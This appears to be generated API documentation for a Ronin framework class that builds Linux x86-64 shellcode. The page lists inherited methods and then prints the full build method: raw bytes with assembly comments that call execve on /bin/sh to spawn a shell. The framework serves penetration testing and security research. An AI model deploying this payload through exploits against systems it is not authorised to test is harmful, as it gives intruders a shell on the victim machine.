Class: Ronin::Payloads::Shellcode::Linux::X86_64::ExecShell

Inherits:
ExecShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb

Overview

Linux x86-64 shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
# File 'lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb', line 53

def build
  @payload = "\x48\x31\xd2".b +     # xor    %rdx, %rdx
             "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov	$0x68732f6e69622f2f, %rbx
             "\x48\xc1\xeb\x08".b + # shr    $0x8, %rbx
             "\x53".b +             # push   %rbx
             "\x48\x89\xe7".b +     # mov    %rsp, %rdi
             "\x50".b +             # push   %rax
             "\x57".b +             # push   %rdi
             "\x48\x89\xe6".b +     # mov    %rsp, %rsi
             "\xb0\x3b".b +         # mov    $0x3b, %al
             "\x0f\x05".b           # syscall
end